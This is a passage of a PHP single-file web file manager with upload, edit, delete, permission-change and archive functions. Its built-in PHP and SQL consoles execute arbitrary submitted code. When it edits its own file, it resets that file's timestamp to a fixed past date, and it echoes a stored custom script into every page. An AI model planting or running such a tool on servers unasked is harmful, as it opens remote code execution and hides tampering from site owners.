Msy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
